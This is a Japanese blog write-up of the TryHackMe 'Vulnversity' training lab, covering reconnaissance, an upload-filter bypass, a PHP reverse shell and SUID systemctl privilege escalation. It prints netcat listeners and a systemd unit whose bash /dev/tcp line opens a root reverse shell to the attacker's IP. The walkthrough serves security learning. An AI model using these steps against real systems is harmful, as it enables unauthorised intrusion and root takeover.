😆

フラグ獲得までTryHack "Vulnversity"

2022/08/26に公開

"Offensive Pentesting"というLearningPathでチュートリアル後の1つ目サーバが”Vulnversity”になっている。TryHackMeのナビゲーションに進め方を示してくれているものの、特権昇格あたりは難しかった。フラグ獲得までの道筋を備忘録、WriteUp的な感じで記事にする。

対象サーバ

Title:Vulnversity
IPaddress:10.10.228.145→(サーバ再起動)→10.10.25.155

攻撃サーバ

OS:Kali Linux
IPaddress:10.18.75.186

Task1:Reconnaissance

nmap

対象マシンがどのポートでサービスを提供しているのかを把握するためのコマンド。
一般的にポートスキャナとして幅広く利用されているのがこのnmapである。

ポートスキャンとは、対象として指定したホストに対してポート番号を変えながらIPパケットを送信し、その反応を調べることでどのポートが外部からアクセス可能なのかを調査する行為
https://knowledge.sakura.ad.jp/97/

※他社が管理しているサーバにポートスキャンを行うことは不正アクセスに該当するため注意

nmap実行例

attacker
nmap -sV 10.10.228.145
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-24 10:56 EDT
Nmap scan report for 10.10.228.145
Host is up (0.26s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.3
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3128/tcp open  http-proxy  Squid http proxy 3.5.12
3333/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.24 seconds

オプション説明
-sV:サービスのバージョン検出

開いているポートは21,22,139,445,3128,3333の6つで、Ubuntuが動作しているようだ。
3333番ポートでWebサーバが動作しているため、次はWebサーバについて調べる。

おすすめサイト

(https://at-virtual.net/セキュリティ/nampスキャンの全コマンド・オプションを日本語解/)

Task2:Locating directories using GoBuster

gobuster

wordlistを使ってウェブサイトのディレクトリを総当たりでアクセスし、アクセス可能なディレクトリを見つけ出す。いわゆるブルートフォースツールである。
上記のGUI版としてdirbusterというサービスもある。

gobuster実行例

attacker
gobuster dir -u http://10.10.228.145:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.228.145:3333
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/08/24 11:17:16 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 322] [--> http://10.10.228.145:3333/images/]
/css                  (Status: 301) [Size: 319] [--> http://10.10.228.145:3333/css/]   
/js                   (Status: 301) [Size: 318] [--> http://10.10.228.145:3333/js/]    
/fonts                (Status: 301) [Size: 321] [--> http://10.10.228.145:3333/fonts/] 
/internal             (Status: 301) [Size: 324] [--> http://10.10.228.145:3333/internal/]
Progress: 36769 / 87665 (41.94%)                                                        ^C
[!] Keyboard interrupt detected, terminating.
                                                                                         
===============================================================
2022/08/24 11:33:58 Finished
===============================================================

オプションの説明
-u:対象のURL
-w:wordlistの指定

探索途中41.94%で停止させたが、現時点で以下の5つの隠しディレクトリが見つかった。
/images/
/css/
/js/
/fonts/
/internal/
実際にアクセスをしてみると、/internal/はファイルをアップロードするフォームになっていることがわかった。
/internal/
適当にa.txtをアップロードしてみたところ"Extension not allowed"と表示されアップロードに失敗してしまう。次は、アップロード可能な拡張子を調べ、Webサーバに侵入するためにペイロードをアップロードして実行してWebサーバ内に侵入する。

Task3:Compromise the webserver

BurpSuite

パソコンのブラウザまたはアプリケーションからサーバーにアクセスしたときのインターネットの情報を、ローカルプロキシを通して視覚的に通信内容を確認することができるツール。
今回はBurpSuiteを使って、色んな拡張子のファイルのアップロードを試みて、アップロードできる拡張子を見つける。

まずは、BurpSuiteを起動してProxyタブを開く。
Intercept is onにしてファイルをアップロードするページを再度開いてa.txtをアップロードしてみる。すると、BurpSuite側でリクエスト内容が傍受されて盗み見ることができる。

次は、Intruderタブを開いて、色んな拡張子のファイルのアップロードを試みる。
ターゲットのホストとポートを指定する

Payload Positionsにリクエスト内容を記載する。今回はアップロードするファイルの拡張子を色んなパターンで試すので、拡張子の部分を変数にする。

Payload Optionに拡張子のパターンを追加する。

これで準備完了。あとは右上のStart attackを実行するだけ。

実行した結果このようにすべてのStatusが200となっているが、Lengthが1つだけ異なるものがある。この.phtmlファイルがアップロードできるみたいである。
次は、.phtmlファイルのPHPリバースシェルをアップロードして、シェルを取得を目指す。

Reverse Shell

以下のリンクにPHPリバースシェルのソースコードがあるので、ダウンロードする。
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
ソースコードのIPとPORTを自身の攻撃PC用に書き換え、ファイル名もthm.phtmlと書き換えておく。このthm.phtmlを対象サーバの/internal/からアップロードしておく。

nc(netcat)

networkをcatenate(連結)するという意味で、クライアントとサーバ間に入って繋ぐコマンド。万能ツールとして知られ、TELNETやFTP的な使い方もできる。
今回は、ncコマンドを使ってサーバからリバースシェルを待ち受ける。

attacker
└─$ nc -nlvp 1234 
listening on [any] 1234 ...

ブラウザで以下にアクセスすると、リバースシェルが実行される。
http://10.10.25.155:3333/internal/uploads/thm.phtml

attacker
─$ nc -nlvp 1234 
listening on [any] 1234 ...
connect to [10.18.75.186] from (UNKNOWN) [10.10.25.155] 50200
Linux vulnuniversity 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 10:06:43 up  1:12,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

ncコマンドがリバースシェルを受けて、ついにローカル権限でシェルを取得できた。これでUser flagは獲得できる。
最後はRoot権限に昇格してルートフラグを見つけるだけ。

Task4:Privilege Escalation

SUIDの脆弱性をついて特権昇格を目指す。
下記コマンドでSUID権限がついているファイルを探索する。

vulnversity
$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/newuidmap
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/squid/pinger
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/bin/su
/bin/ntfs-3g
/bin/mount
/bin/ping6
/bin/umount
/bin/systemctl
/bin/ping
/bin/fusermount
/sbin/mount.cifs

/bin/systemctlにSUIDを持っていることがわかった。実はsystemctlを使って特権昇格ができるとのことで以下リンクを読む。
https://gtfobins.github.io/gtfobins/systemctl/

攻撃側でroot.serviceを作成して、以下のように記述する。

root.service
[Unit]
Description=root

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i  >& /dev/tcp/10.18.75.186/1234 0>&1'

[Install]
WantedBy=nulti-user.target

攻撃サーバ側で簡単なWebサーバを起動しておく。

attacker
└─$ sudo python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.25.155 - - [25/Aug/2022 10:41:33] "GET /root.service HTTP/1.1" 200 -

一方、シェルを奪取したサーバで下記コマンドを実行して、root.serviceを取得しておく。

vulnversity
$ cd /tmp
$ wget http://10.18.75.186/root.service
--2022-08-25 10:41:33--  http://10.18.75.186/root.service
Connecting to 10.18.75.186:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 165 [application/octet-stream]
Saving to: 'root.service'

     0K                                                       100% 35.4M=0s

2022-08-25 10:41:33 (35.4 MB/s) - 'root.service' saved [165/165]

再度攻撃サーバでncコマンドを実行してリバースシェルを待ち受ける。

attacker
─$ nc -nlvp 1234
listening on [any] 1234 ...

対象サーバに戻り、取得したroot.serviceを起動する。

vulnversity
$ systemctl enable /tmp/root.service
Created symlink from /etc/systemd/system/nulti-user.target.wants/root.service to /tmp/root.service.
Created symlink from /etc/systemd/system/root.service to /tmp/root.service.
$ systemctl start root.service 

そうするとroot.serviceに記述したリバースシェルが実行され、攻撃サーバでroot権限を持ったシェルが取得できる。

attacker
─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.18.75.186] from (UNKNOWN) [10.10.25.155] 50232
bash: cannot set terminal process group (2055): Inappropriate ioctl for device
bash: no job control in this shell
root@vulnuniversity:/# whoami
whoami
root
root@vulnuniversity:/# 

ついにROOT権限を取得できました。
最後のフラグは/root/root.txtにあるので、ファイルを開けばフラグ獲得!!

Discussion